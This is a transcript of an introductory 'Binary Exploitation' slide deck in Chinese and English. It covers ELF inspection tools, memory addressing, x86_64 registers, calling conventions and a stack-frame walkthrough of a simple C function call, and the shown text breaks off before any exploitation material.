Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Binary Exploitation

Binary Exploitation

Avatar for ᴀᴇꜱᴏᴘʜᴏʀ

ᴀᴇꜱᴏᴘʜᴏʀ

July 30, 2021

Other Decks in Programming

Transcript

  1. Whoami --- • aesophor • Software Quality Lab @ NYCU

    • contacts: ◦ github - github.com/aesophor ◦ email - m.aesophor [at] gmail [dot] com 2
  2. Outline --- 0x10 基本概念 / 工具介紹 0x20 Stack Buffer Overflow

    0x30 Shellcode 0x40 Lazy Binding, PLT, GOT 0x50 Return-Oriented Programming 3
  3. 0x11 從 Source Code 到 Binary --- 5 • A

    source file is written in high-level language(s) ◦ C, C++, etc. • Compiler and Linker turn source file(s) into a binary ◦ ELF (no extension) ◦ shared object (.so) ◦ static library (.a) $ cat hello.c #include <stdio.h> int main() { printf("Hello, world!\n"); } $ gcc -o hello hello.c $ ./hello Hello, world!
  4. 6 • A source file is written in high-level language(s)

    ◦ C, C++, etc. • Compiler and Linker turn source file(s) into a binary ◦ ELF (no extension) ◦ shared object (.so) ◦ static library (.a) $ cat hello.c #include <stdio.h> int main() { printf("Hello, world!\n"); } $ gcc -o hello hello.c $ ./hello Hello, world! 0x11 從 Source Code 到 Binary ---
  5. 7 • Useful Command-line Tools: ◦ file ◦ strings ◦

    xxd ◦ objdump ◦ readelf $ file hello hello: ELF 64-bit LSB pie executable $ strings hello /lib64/ld-linux-x86-64.so.2 $ xxd hello | less 00000000: 7f45 4c46 0201 $ objdump -M intel -d hello | less 0000000000001000 <_init>: 1000: f3 0f 1e fa endbr64 1004: 48 83 ec 08 sub rsp,0x8 $ readelf -S hello [14] .text PROGBITS 0000000000401040 00001040 0000000000000175 0000000000000000 AX 0 0 16 0x12 Tools ---
  6. 8 • Useful Command-line Tools: ◦ file ◦ strings ◦

    xxd ◦ objdump ◦ readelf <- check file type $ file hello hello: ELF 64-bit LSB pie executable $ strings hello /lib64/ld-linux-x86-64.so.2 $ xxd hello | less 00000000: 7f45 4c46 0201 $ objdump -M intel -d hello | less 0000000000001000 <_init>: 1000: f3 0f 1e fa endbr64 1004: 48 83 ec 08 sub rsp,0x8 $ readelf -S hello [14] .text PROGBITS 0000000000401040 00001040 0000000000000175 0000000000000000 AX 0 0 16 0x12 Tools ---
  7. 9 • Useful Command-line Tools: ◦ file ◦ strings ◦

    xxd ◦ objdump ◦ readelf <- print the sequences of printable chars $ file hello hello: ELF 64-bit LSB pie executable $ strings hello /lib64/ld-linux-x86-64.so.2 $ xxd hello | less 00000000: 7f45 4c46 0201 $ objdump -M intel -d hello | less 0000000000001000 <_init>: 1000: f3 0f 1e fa endbr64 1004: 48 83 ec 08 sub rsp,0x8 $ readelf -S hello [14] .text PROGBITS 0000000000401040 00001040 0000000000000175 0000000000000000 AX 0 0 16 0x12 Tools ---
  8. 10 • Useful Command-line Tools: ◦ file ◦ strings ◦

    xxd ◦ objdump ◦ readelf <- hex dump $ file hello hello: ELF 64-bit LSB pie executable $ strings hello /lib64/ld-linux-x86-64.so.2 $ xxd hello | less 00000000: 7f45 4c46 0201 $ objdump -M intel -d hello | less 0000000000001000 <_init>: 1000: f3 0f 1e fa endbr64 1004: 48 83 ec 08 sub rsp,0x8 $ readelf -S hello [14] .text PROGBITS 0000000000401040 00001040 0000000000000175 0000000000000000 AX 0 0 16 0x12 Tools ---
  9. 11 • Useful Command-line Tools: ◦ file ◦ strings ◦

    xxd ◦ objdump ◦ readelf <- quick disassembly $ file hello hello: ELF 64-bit LSB pie executable $ strings hello /lib64/ld-linux-x86-64.so.2 $ xxd hello | less 00000000: 7f45 4c46 0201 $ objdump -M intel -d hello | less 0000000000001000 <_init>: 1000: f3 0f 1e fa endbr64 1004: 48 83 ec 08 sub rsp,0x8 $ readelf -S hello [14] .text PROGBITS 0000000000401040 00001040 0000000000000175 0000000000000000 AX 0 0 16 0x12 Tools ---
  10. 12 • Useful Command-line Tools: ◦ file ◦ strings ◦

    xxd ◦ objdump ◦ readelf <- get ELF information $ file hello hello: ELF 64-bit LSB pie executable $ strings hello /lib64/ld-linux-x86-64.so.2 $ xxd hello | less 00000000: 7f45 4c46 0201 $ objdump -M intel -d hello | less 0000000000001000 <_init>: 1000: f3 0f 1e fa endbr64 1004: 48 83 ec 08 sub rsp,0x8 $ readelf -S hello [14] .text PROGBITS 0000000000401040 00001040 0000000000000175 0000000000000000 AX 0 0 16 0x12 Tools ---
  11. • Memory is addressed by byte → "byte addressing" ◦

    1 byte = 8 bits ▪ bin : 0b00000000 - 0b11111111 ▪ hex : 0x00 - 0xff ▪ decimal : 0 - 255 ◦ on x86 (32-bit), maximum addressable memory = 2^32 bytes ◦ on x86_64 (64-bit), maximum addressable memory = 2^64 bytes 13 0x13 Memory ---
  12. • Memory is addressed by byte → "byte addressing" ◦

    1 byte = 8 bits ▪ bin : 0b00000000 - 0b11111111 ▪ hex : 0x00 - 0xff ▪ decimal : 0 - 255 ◦ on x86 (32-bit), maximum addressable memory = 2^32 bytes ◦ on x86_64 (64-bit), maximum addressable memory = 2^64 bytes 14 ≈ 4GB 0x13 Memory ---
  13. 15 • Memory is addressed by byte → "byte addressing"

    ◦ 1 byte = 8 bits ▪ bin : 0b00000000 - 0b11111111 ▪ hex : 0x00 - 0xff ▪ decimal : 0 - 255 ◦ on x86 (32-bit), maximum addressable memory = 2^32 bytes ◦ on x86_64 (64-bit), maximum addressable memory = 2^64 bytes ≈ 16EB 0x13 Memory ---
  14. 17 Virtual Address Space 0xffffffffffffffff 0x0000000000000000 0x00007fffffffffff 0xffff800000000000 Userspace unused

    Kernel Space stack shared libraries User Process va_space 0x0000000000000000 0x0000000000400000 0x00007ffffffde000 0x00007fffffffffff .text .rodata .data heap .bss 0x14 Virtual Memory Layout ---
  15. 18 • Instruction Pointer ◦ rip: holds the address of

    the next instruction to execute • General Purpose ◦ rax : return value ◦ rbx , rcx , rdx • Stack ◦ rsp: points to the top of the stack frame ◦ rbp: points to the bottom of the stack frame • Data ◦ rsi: index (source) ◦ rdi: index (destination) • Other ◦ r8, r9, r10, ..., r15 0x1122334455667788 ================ rax (64 bits) ======== eax (32 bits) ==== ax (16 bits) == ah (8 bits) == al (8 bits) rax, rbx, rcx, rdx 皆可以此方式存取 0x15 CPU Registers ---
  16. 19 • 規範了「呼叫 function 時, 實際參數 (arguments) 與 return value

    是如何被傳遞的」 ◦ calling a function: ▪ rdi: arg0 ▪ rsi: arg1 ▪ rdx: arg2 ▪ rcx: arg3 ▪ r8: arg4 ▪ r9: arg5 ◦ calling a system call: ▪ rax: syscall_number ▪ rdi: arg0 ▪ rsi: arg1 ▪ rdx: arg2 ▪ r10: arg3 ▪ r8: arg4 ▪ r9: arg5 0x16 Calling Convention ---
  17. 20 1 int func(int num1, int num2) { 2 int

    local1 = 0x666; 3 int local2 = 0x777; 4 return num1 + num2; 5 } 6 7 int main(int argc, char* argv[], char* envp[]) { 8 func(1, 2); 9 } 0x17 Example --- ... ... ... saved rbp 執行完 main() 的 return address Dump of assembler code for function main: 0x000000000000113b <+0>: push rbp 0x000000000000113c <+1>: mov rbp,rsp 0x000000000000113f <+4>: sub rsp,0x18 0x0000000000001143 <+8>: mov DWORD PTR [rbp-0x4],edi 0x0000000000001146 <+11>: mov QWORD PTR [rbp-0x10],rsi 0x000000000000114a <+15>: mov QWORD PTR [rbp-0x18],rdx 0x000000000000114e <+19>: mov esi,0x2 0x0000000000001153 <+24>: mov edi,0x1 0x0000000000001158 <+29>: call 0x1119 <func> 0x000000000000115d <+34>: mov eax,0x0 0x0000000000001162 <+39>: leave 0x0000000000001163 <+40>: ret low high 第二個參數放入 rsi rsp rbp
  18. 21 1 int func(int num1, int num2) { 2 int

    local1 = 0x666; 3 int local2 = 0x777; 4 return num1 + num2; 5 } 6 7 int main(int argc, char* argv[], char* envp[]) { 8 func(1, 2); 9 } 0x17 Example --- ... ... ... saved rbp 執行完 main() 的 return address Dump of assembler code for function main: 0x000000000000113b <+0>: push rbp 0x000000000000113c <+1>: mov rbp,rsp 0x000000000000113f <+4>: sub rsp,0x18 0x0000000000001143 <+8>: mov DWORD PTR [rbp-0x4],edi 0x0000000000001146 <+11>: mov QWORD PTR [rbp-0x10],rsi 0x000000000000114a <+15>: mov QWORD PTR [rbp-0x18],rdx 0x000000000000114e <+19>: mov esi,0x2 0x0000000000001153 <+24>: mov edi,0x1 0x0000000000001158 <+29>: call 0x1119 <func> 0x000000000000115d <+34>: mov eax,0x0 0x0000000000001162 <+39>: leave 0x0000000000001163 <+40>: ret low high 第一個參數放入 rdi rsp rbp
  19. 22 1 int func(int num1, int num2) { 2 int

    local1 = 0x666; 3 int local2 = 0x777; 4 return num1 + num2; 5 } 6 7 int main(int argc, char* argv[], char* envp[]) { 8 func(1, 2); 9 } 0x17 Example --- ... ... ... saved rbp 執行完 main() 的 return address Dump of assembler code for function main: 0x000000000000113b <+0>: push rbp 0x000000000000113c <+1>: mov rbp,rsp 0x000000000000113f <+4>: sub rsp,0x18 0x0000000000001143 <+8>: mov DWORD PTR [rbp-0x4],edi 0x0000000000001146 <+11>: mov QWORD PTR [rbp-0x10],rsi 0x000000000000114a <+15>: mov QWORD PTR [rbp-0x18],rdx 0x000000000000114e <+19>: mov esi,0x2 0x0000000000001153 <+24>: mov edi,0x1 0x0000000000001158 <+29>: call 0x1119 <func> 0x000000000000115d <+34>: mov eax,0x0 0x0000000000001162 <+39>: leave 0x0000000000001163 <+40>: ret low high rsp 呼叫 func() call func = push rip mov rip, func rbp
  20. 23 1 int func(int num1, int num2) { 2 int

    local1 = 0x666; 3 int local2 = 0x777; 4 return num1 + num2; 5 } 6 7 int main(int argc, char* argv[], char* envp[]) { 8 func(1, 2); 9 } 0x17 Example --- ... ... ... saved rbp 執行完 main() 的 return address Dump of assembler code for function main: 0x000000000000113b <+0>: push rbp 0x000000000000113c <+1>: mov rbp,rsp 0x000000000000113f <+4>: sub rsp,0x18 0x0000000000001143 <+8>: mov DWORD PTR [rbp-0x4],edi 0x0000000000001146 <+11>: mov QWORD PTR [rbp-0x10],rsi 0x000000000000114a <+15>: mov QWORD PTR [rbp-0x18],rdx 0x000000000000114e <+19>: mov esi,0x2 0x0000000000001153 <+24>: mov edi,0x1 0x0000000000001158 <+29>: call 0x1119 <func> 0x000000000000115d <+34>: mov eax,0x0 0x0000000000001162 <+39>: leave 0x0000000000001163 <+40>: ret low high rsp 呼叫 func() call func = push rip mov rip, func rbp
  21. 24 1 int func(int num1, int num2) { 2 int

    local1 = 0x666; 3 int local2 = 0x777; 4 return num1 + num2; 5 } 6 7 int main(int argc, char* argv[], char* envp[]) { 8 func(1, 2); 9 } 0x17 Example --- 執行完 func() 的 return address ... ... ... saved rbp 執行完 main() 的 return address Dump of assembler code for function main: 0x000000000000113b <+0>: push rbp 0x000000000000113c <+1>: mov rbp,rsp 0x000000000000113f <+4>: sub rsp,0x18 0x0000000000001143 <+8>: mov DWORD PTR [rbp-0x4],edi 0x0000000000001146 <+11>: mov QWORD PTR [rbp-0x10],rsi 0x000000000000114a <+15>: mov QWORD PTR [rbp-0x18],rdx 0x000000000000114e <+19>: mov esi,0x2 0x0000000000001153 <+24>: mov edi,0x1 0x0000000000001158 <+29>: call 0x1119 <func> 0x000000000000115d <+34>: mov eax,0x0 0x0000000000001162 <+39>: leave 0x0000000000001163 <+40>: ret low high rsp 呼叫 func() call func = push rip mov rip, func rbp
  22. 25 1 int func(int num1, int num2) { 2 int

    local1 = 0x666; 3 int local2 = 0x777; 4 return num1 + num2; 5 } 6 7 int main(int argc, char* argv[], char* envp[]) { 8 func(1, 2); 9 } 0x17 Example --- 執行完 func() 的 return address ... ... ... saved rbp 執行完 main() 的 return address low high rsp Dump of assembler code for function main: 0x000000000000113b <+0>: push rbp 0x000000000000113c <+1>: mov rbp,rsp 0x000000000000113f <+4>: sub rsp,0x18 0x0000000000001143 <+8>: mov DWORD PTR [rbp-0x4],edi 0x0000000000001146 <+11>: mov QWORD PTR [rbp-0x10],rsi 0x000000000000114a <+15>: mov QWORD PTR [rbp-0x18],rdx 0x000000000000114e <+19>: mov esi,0x2 0x0000000000001153 <+24>: mov edi,0x1 0x0000000000001158 <+29>: call 0x1119 <func> 0x000000000000115d <+34>: mov eax,0x0 0x0000000000001162 <+39>: leave 0x0000000000001163 <+40>: ret 呼叫 func() call func = push rip mov rip, func rbp
  23. 26 1 int func(int num1, int num2) { 2 int

    local1 = 0x666; 3 int local2 = 0x777; 4 return num1 + num2; 5 } 6 7 int main(int argc, char* argv[], char* envp[]) { 8 func(1, 2); 9 } 0x17 Example --- 執行完 func() 的 return address ... ... ... saved rbp 執行完 main() 的 return address Dump of assembler code for function func: 0x0000000000001119 <+0>: push rbp 0x000000000000111a <+1>: mov rbp,rsp 0x000000000000111d <+4>: mov DWORD PTR [rbp-0x14],edi 0x0000000000001120 <+7>: mov DWORD PTR [rbp-0x18],esi 0x0000000000001123 <+10>: mov DWORD PTR [rbp-0x8],0x666 0x000000000000112a <+17>: mov DWORD PTR [rbp-0x4],0x777 0x0000000000001131 <+24>: mov edx,DWORD PTR [rbp-0x14] 0x0000000000001134 <+27>: mov eax,DWORD PTR [rbp-0x18] 0x0000000000001137 <+30>: add eax,edx 0x0000000000001139 <+32>: pop rbp 0x000000000000113a <+33>: ret low high rsp rbp
  24. 27 1 int func(int num1, int num2) { 2 int

    local1 = 0x666; 3 int local2 = 0x777; 4 return num1 + num2; 5 } 6 7 int main(int argc, char* argv[], char* envp[]) { 8 func(1, 2); 9 } 0x17 Example --- 執行完 func() 的 return address ... ... ... saved rbp 執行完 main() 的 return address Dump of assembler code for function func: 0x0000000000001119 <+0>: push rbp 0x000000000000111a <+1>: mov rbp,rsp 0x000000000000111d <+4>: mov DWORD PTR [rbp-0x14],edi 0x0000000000001120 <+7>: mov DWORD PTR [rbp-0x18],esi 0x0000000000001123 <+10>: mov DWORD PTR [rbp-0x8],0x666 0x000000000000112a <+17>: mov DWORD PTR [rbp-0x4],0x777 0x0000000000001131 <+24>: mov edx,DWORD PTR [rbp-0x14] 0x0000000000001134 <+27>: mov eax,DWORD PTR [rbp-0x18] 0x0000000000001137 <+30>: add eax,edx 0x0000000000001139 <+32>: pop rbp 0x000000000000113a <+33>: ret low high rsp rbp 保存原本 rbp 到 stack
  25. 28 1 int func(int num1, int num2) { 2 int

    local1 = 0x666; 3 int local2 = 0x777; 4 return num1 + num2; 5 } 6 7 int main(int argc, char* argv[], char* envp[]) { 8 func(1, 2); 9 } 0x17 Example --- saved rbp 執行完 func() 的 return address ... ... ... saved rbp 執行完 main() 的 return address Dump of assembler code for function func: 0x0000000000001119 <+0>: push rbp 0x000000000000111a <+1>: mov rbp,rsp 0x000000000000111d <+4>: mov DWORD PTR [rbp-0x14],edi 0x0000000000001120 <+7>: mov DWORD PTR [rbp-0x18],esi 0x0000000000001123 <+10>: mov DWORD PTR [rbp-0x8],0x666 0x000000000000112a <+17>: mov DWORD PTR [rbp-0x4],0x777 0x0000000000001131 <+24>: mov edx,DWORD PTR [rbp-0x14] 0x0000000000001134 <+27>: mov eax,DWORD PTR [rbp-0x18] 0x0000000000001137 <+30>: add eax,edx 0x0000000000001139 <+32>: pop rbp 0x000000000000113a <+33>: ret low high rsp 保存原本 rbp 到 stack rbp
  26. 29 1 int func(int num1, int num2) { 2 int

    local1 = 0x666; 3 int local2 = 0x777; 4 return num1 + num2; 5 } 6 7 int main(int argc, char* argv[], char* envp[]) { 8 func(1, 2); 9 } 0x17 Example --- saved rbp 執行完 func() 的 return address ... ... ... saved rbp 執行完 main() 的 return address Dump of assembler code for function func: 0x0000000000001119 <+0>: push rbp 0x000000000000111a <+1>: mov rbp,rsp 0x000000000000111d <+4>: mov DWORD PTR [rbp-0x14],edi 0x0000000000001120 <+7>: mov DWORD PTR [rbp-0x18],esi 0x0000000000001123 <+10>: mov DWORD PTR [rbp-0x8],0x666 0x000000000000112a <+17>: mov DWORD PTR [rbp-0x4],0x777 0x0000000000001131 <+24>: mov edx,DWORD PTR [rbp-0x14] 0x0000000000001134 <+27>: mov eax,DWORD PTR [rbp-0x18] 0x0000000000001137 <+30>: add eax,edx 0x0000000000001139 <+32>: pop rbp 0x000000000000113a <+33>: ret low high rsp rbp := rsp rbp
  27. 30 1 int func(int num1, int num2) { 2 int

    local1 = 0x666; 3 int local2 = 0x777; 4 return num1 + num2; 5 } 6 7 int main(int argc, char* argv[], char* envp[]) { 8 func(1, 2); 9 } 0x17 Example --- saved rbp 執行完 func() 的 return address ... ... ... saved rbp 執行完 main() 的 return address Dump of assembler code for function func: 0x0000000000001119 <+0>: push rbp 0x000000000000111a <+1>: mov rbp,rsp 0x000000000000111d <+4>: mov DWORD PTR [rbp-0x14],edi 0x0000000000001120 <+7>: mov DWORD PTR [rbp-0x18],esi 0x0000000000001123 <+10>: mov DWORD PTR [rbp-0x8],0x666 0x000000000000112a <+17>: mov DWORD PTR [rbp-0x4],0x777 0x0000000000001131 <+24>: mov edx,DWORD PTR [rbp-0x14] 0x0000000000001134 <+27>: mov eax,DWORD PTR [rbp-0x18] 0x0000000000001137 <+30>: add eax,edx 0x0000000000001139 <+32>: pop rbp 0x000000000000113a <+33>: ret low high rsp rbp rbp := rsp
  28. 31 1 int func(int num1, int num2) { 2 int

    local1 = 0x666; 3 int local2 = 0x777; 4 return num1 + num2; 5 } 6 7 int main(int argc, char* argv[], char* envp[]) { 8 func(1, 2); 9 } 0x17 Example --- saved rbp 執行完 func() 的 return address ... ... ... saved rbp 執行完 main() 的 return address Dump of assembler code for function func: 0x0000000000001119 <+0>: push rbp 0x000000000000111a <+1>: mov rbp,rsp 0x000000000000111d <+4>: mov DWORD PTR [rbp-0x14],edi 0x0000000000001120 <+7>: mov DWORD PTR [rbp-0x18],esi 0x0000000000001123 <+10>: mov DWORD PTR [rbp-0x8],0x666 0x000000000000112a <+17>: mov DWORD PTR [rbp-0x4],0x777 0x0000000000001131 <+24>: mov edx,DWORD PTR [rbp-0x14] 0x0000000000001134 <+27>: mov eax,DWORD PTR [rbp-0x18] 0x0000000000001137 <+30>: add eax,edx 0x0000000000001139 <+32>: pop rbp 0x000000000000113a <+33>: ret low high rsp rbp 保存 register 舊值
  29. 32 1 int func(int num1, int num2) { 2 int

    local1 = 0x666; 3 int local2 = 0x777; 4 return num1 + num2; 5 } 6 7 int main(int argc, char* argv[], char* envp[]) { 8 func(1, 2); 9 } 0x17 Example --- saved edi saved esi saved rbp 執行完 func() 的 return address ... ... ... saved rbp 執行完 main() 的 return address Dump of assembler code for function func: 0x0000000000001119 <+0>: push rbp 0x000000000000111a <+1>: mov rbp,rsp 0x000000000000111d <+4>: mov DWORD PTR [rbp-0x14],edi 0x0000000000001120 <+7>: mov DWORD PTR [rbp-0x18],esi 0x0000000000001123 <+10>: mov DWORD PTR [rbp-0x8],0x666 0x000000000000112a <+17>: mov DWORD PTR [rbp-0x4],0x777 0x0000000000001131 <+24>: mov edx,DWORD PTR [rbp-0x14] 0x0000000000001134 <+27>: mov eax,DWORD PTR [rbp-0x18] 0x0000000000001137 <+30>: add eax,edx 0x0000000000001139 <+32>: pop rbp 0x000000000000113a <+33>: ret low high rsp rbp 保存 register 舊值
  30. 33 1 int func(int num1, int num2) { 2 int

    local1 = 0x666; 3 int local2 = 0x777; 4 return num1 + num2; 5 } 6 7 int main(int argc, char* argv[], char* envp[]) { 8 func(1, 2); 9 } 0x17 Example --- saved edi saved esi . saved rbp 執行完 func() 的 return address ... ... ... saved rbp 執行完 main() 的 return address Dump of assembler code for function func: 0x0000000000001119 <+0>: push rbp 0x000000000000111a <+1>: mov rbp,rsp 0x000000000000111d <+4>: mov DWORD PTR [rbp-0x14],edi 0x0000000000001120 <+7>: mov DWORD PTR [rbp-0x18],esi 0x0000000000001123 <+10>: mov DWORD PTR [rbp-0x8],0x666 0x000000000000112a <+17>: mov DWORD PTR [rbp-0x4],0x777 0x0000000000001131 <+24>: mov edx,DWORD PTR [rbp-0x14] 0x0000000000001134 <+27>: mov eax,DWORD PTR [rbp-0x18] 0x0000000000001137 <+30>: add eax,edx 0x0000000000001139 <+32>: pop rbp 0x000000000000113a <+33>: ret low high rsp rbp 初始化 local1 變數
  31. 34 1 int func(int num1, int num2) { 2 int

    local1 = 0x666; 3 int local2 = 0x777; 4 return num1 + num2; 5 } 6 7 int main(int argc, char* argv[], char* envp[]) { 8 func(1, 2); 9 } 0x17 Example --- saved edi saved esi 0x666 . saved rbp 執行完 func() 的 return address ... ... ... saved rbp 執行完 main() 的 return address Dump of assembler code for function func: 0x0000000000001119 <+0>: push rbp 0x000000000000111a <+1>: mov rbp,rsp 0x000000000000111d <+4>: mov DWORD PTR [rbp-0x14],edi 0x0000000000001120 <+7>: mov DWORD PTR [rbp-0x18],esi 0x0000000000001123 <+10>: mov DWORD PTR [rbp-0x8],0x666 0x000000000000112a <+17>: mov DWORD PTR [rbp-0x4],0x777 0x0000000000001131 <+24>: mov edx,DWORD PTR [rbp-0x14] 0x0000000000001134 <+27>: mov eax,DWORD PTR [rbp-0x18] 0x0000000000001137 <+30>: add eax,edx 0x0000000000001139 <+32>: pop rbp 0x000000000000113a <+33>: ret low high rsp rbp 初始化 local1 變數
  32. 35 1 int func(int num1, int num2) { 2 int

    local1 = 0x666; 3 int local2 = 0x777; 4 return num1 + num2; 5 } 6 7 int main(int argc, char* argv[], char* envp[]) { 8 func(1, 2); 9 } 0x17 Example --- saved edi saved esi 0x666 . saved rbp 執行完 func() 的 return address ... ... ... saved rbp 執行完 main() 的 return address Dump of assembler code for function func: 0x0000000000001119 <+0>: push rbp 0x000000000000111a <+1>: mov rbp,rsp 0x000000000000111d <+4>: mov DWORD PTR [rbp-0x14],edi 0x0000000000001120 <+7>: mov DWORD PTR [rbp-0x18],esi 0x0000000000001123 <+10>: mov DWORD PTR [rbp-0x8],0x666 0x000000000000112a <+17>: mov DWORD PTR [rbp-0x4],0x777 0x0000000000001131 <+24>: mov edx,DWORD PTR [rbp-0x14] 0x0000000000001134 <+27>: mov eax,DWORD PTR [rbp-0x18] 0x0000000000001137 <+30>: add eax,edx 0x0000000000001139 <+32>: pop rbp 0x000000000000113a <+33>: ret low high rsp rbp 初始化 local2 變數
  33. 36 1 int func(int num1, int num2) { 2 int

    local1 = 0x666; 3 int local2 = 0x777; 4 return num1 + num2; 5 } 6 7 int main(int argc, char* argv[], char* envp[]) { 8 func(1, 2); 9 } 0x17 Example --- saved edi saved esi 0x666 0x777 saved rbp 執行完 func() 的 return address ... ... ... saved rbp 執行完 main() 的 return address Dump of assembler code for function func: 0x0000000000001119 <+0>: push rbp 0x000000000000111a <+1>: mov rbp,rsp 0x000000000000111d <+4>: mov DWORD PTR [rbp-0x14],edi 0x0000000000001120 <+7>: mov DWORD PTR [rbp-0x18],esi 0x0000000000001123 <+10>: mov DWORD PTR [rbp-0x8],0x666 0x000000000000112a <+17>: mov DWORD PTR [rbp-0x4],0x777 0x0000000000001131 <+24>: mov edx,DWORD PTR [rbp-0x14] 0x0000000000001134 <+27>: mov eax,DWORD PTR [rbp-0x18] 0x0000000000001137 <+30>: add eax,edx 0x0000000000001139 <+32>: pop rbp 0x000000000000113a <+33>: ret low high rsp rbp 初始化 local2 變數
  34. 37 1 int func(int num1, int num2) { 2 int

    local1 = 0x666; 3 int local2 = 0x777; 4 return num1 + num2; 5 } 6 7 int main(int argc, char* argv[], char* envp[]) { 8 func(1, 2); 9 } 0x17 Example --- saved edi saved esi 0x666 0x777 saved rbp 執行完 func() 的 return address ... ... ... saved rbp 執行完 main() 的 return address Dump of assembler code for function func: 0x0000000000001119 <+0>: push rbp 0x000000000000111a <+1>: mov rbp,rsp 0x000000000000111d <+4>: mov DWORD PTR [rbp-0x14],edi 0x0000000000001120 <+7>: mov DWORD PTR [rbp-0x18],esi 0x0000000000001123 <+10>: mov DWORD PTR [rbp-0x8],0x666 0x000000000000112a <+17>: mov DWORD PTR [rbp-0x4],0x777 0x0000000000001131 <+24>: mov edx,DWORD PTR [rbp-0x14] 0x0000000000001134 <+27>: mov eax,DWORD PTR [rbp-0x18] 0x0000000000001137 <+30>: add eax,edx 0x0000000000001139 <+32>: pop rbp 0x000000000000113a <+33>: ret low high rsp rbp eax := num1 + num2
  35. 38 1 int func(int num1, int num2) { 2 int

    local1 = 0x666; 3 int local2 = 0x777; 4 return num1 + num2; 5 } 6 7 int main(int argc, char* argv[], char* envp[]) { 8 func(1, 2); 9 } 0x17 Example --- saved edi saved esi 0x666 0x777 saved rbp 執行完 func() 的 return address ... ... ... saved rbp 執行完 main() 的 return address Dump of assembler code for function func: 0x0000000000001119 <+0>: push rbp 0x000000000000111a <+1>: mov rbp,rsp 0x000000000000111d <+4>: mov DWORD PTR [rbp-0x14],edi 0x0000000000001120 <+7>: mov DWORD PTR [rbp-0x18],esi 0x0000000000001123 <+10>: mov DWORD PTR [rbp-0x8],0x666 0x000000000000112a <+17>: mov DWORD PTR [rbp-0x4],0x777 0x0000000000001131 <+24>: mov edx,DWORD PTR [rbp-0x14] 0x0000000000001134 <+27>: mov eax,DWORD PTR [rbp-0x18] 0x0000000000001137 <+30>: add eax,edx 0x0000000000001139 <+32>: pop rbp 0x000000000000113a <+33>: ret low high rsp rbp 還原 rbp
  36. 39 1 int func(int num1, int num2) { 2 int

    local1 = 0x666; 3 int local2 = 0x777; 4 return num1 + num2; 5 } 6 7 int main(int argc, char* argv[], char* envp[]) { 8 func(1, 2); 9 } 0x17 Example --- saved edi saved esi 0x666 0x777 saved rbp 執行完 func() 的 return address ... ... ... saved rbp 執行完 main() 的 return address Dump of assembler code for function func: 0x0000000000001119 <+0>: push rbp 0x000000000000111a <+1>: mov rbp,rsp 0x000000000000111d <+4>: mov DWORD PTR [rbp-0x14],edi 0x0000000000001120 <+7>: mov DWORD PTR [rbp-0x18],esi 0x0000000000001123 <+10>: mov DWORD PTR [rbp-0x8],0x666 0x000000000000112a <+17>: mov DWORD PTR [rbp-0x4],0x777 0x0000000000001131 <+24>: mov edx,DWORD PTR [rbp-0x14] 0x0000000000001134 <+27>: mov eax,DWORD PTR [rbp-0x18] 0x0000000000001137 <+30>: add eax,edx 0x0000000000001139 <+32>: pop rbp 0x000000000000113a <+33>: ret low high rsp rbp 還原 rbp
  37. 40 1 int func(int num1, int num2) { 2 int

    local1 = 0x666; 3 int local2 = 0x777; 4 return num1 + num2; 5 } 6 7 int main(int argc, char* argv[], char* envp[]) { 8 func(1, 2); 9 } 0x17 Example --- saved edi saved esi 0x666 0x777 saved rbp 執行完 func() 的 return address ... ... ... saved rbp 執行完 main() 的 return address Dump of assembler code for function func: 0x0000000000001119 <+0>: push rbp 0x000000000000111a <+1>: mov rbp,rsp 0x000000000000111d <+4>: mov DWORD PTR [rbp-0x14],edi 0x0000000000001120 <+7>: mov DWORD PTR [rbp-0x18],esi 0x0000000000001123 <+10>: mov DWORD PTR [rbp-0x8],0x666 0x000000000000112a <+17>: mov DWORD PTR [rbp-0x4],0x777 0x0000000000001131 <+24>: mov edx,DWORD PTR [rbp-0x14] 0x0000000000001134 <+27>: mov eax,DWORD PTR [rbp-0x18] 0x0000000000001137 <+30>: add eax,edx 0x0000000000001139 <+32>: pop rbp 0x000000000000113a <+33>: ret low high rsp rbp ret = pop rip
  38. 41 1 int func(int num1, int num2) { 2 int

    local1 = 0x666; 3 int local2 = 0x777; 4 return num1 + num2; 5 } 6 7 int main(int argc, char* argv[], char* envp[]) { 8 func(1, 2); 9 } 0x17 Example --- saved edi saved esi 0x666 0x777 saved rbp 執行完 func() 的 return address ... ... ... saved rbp 執行完 main() 的 return address Dump of assembler code for function func: 0x0000000000001119 <+0>: push rbp 0x000000000000111a <+1>: mov rbp,rsp 0x000000000000111d <+4>: mov DWORD PTR [rbp-0x14],edi 0x0000000000001120 <+7>: mov DWORD PTR [rbp-0x18],esi 0x0000000000001123 <+10>: mov DWORD PTR [rbp-0x8],0x666 0x000000000000112a <+17>: mov DWORD PTR [rbp-0x4],0x777 0x0000000000001131 <+24>: mov edx,DWORD PTR [rbp-0x14] 0x0000000000001134 <+27>: mov eax,DWORD PTR [rbp-0x18] 0x0000000000001137 <+30>: add eax,edx 0x0000000000001139 <+32>: pop rbp 0x000000000000113a <+33>: ret low high rbp ret = pop rip rsp
  39. 42 1 int func(int num1, int num2) { 2 int

    local1 = 0x666; 3 int local2 = 0x777; 4 return num1 + num2; 5 } 6 7 int main(int argc, char* argv[], char* envp[]) { 8 func(1, 2); 9 } 0x17 Example --- saved edi saved esi 0x666 0x777 saved rbp 執行完 func() 的 return address ... ... ... saved rbp 執行完 main() 的 return address Dump of assembler code for function func: 0x0000000000001119 <+0>: push rbp 0x000000000000111a <+1>: mov rbp,rsp 0x000000000000111d <+4>: mov DWORD PTR [rbp-0x14],edi 0x0000000000001120 <+7>: mov DWORD PTR [rbp-0x18],esi 0x0000000000001123 <+10>: mov DWORD PTR [rbp-0x8],0x666 0x000000000000112a <+17>: mov DWORD PTR [rbp-0x4],0x777 0x0000000000001131 <+24>: mov edx,DWORD PTR [rbp-0x14] 0x0000000000001134 <+27>: mov eax,DWORD PTR [rbp-0x18] 0x0000000000001137 <+30>: add eax,edx 0x0000000000001139 <+32>: pop rbp 0x000000000000113a <+33>: ret low high rsp rbp ret = pop rip
  40. 43 1 int func(int num1, int num2) { 2 int

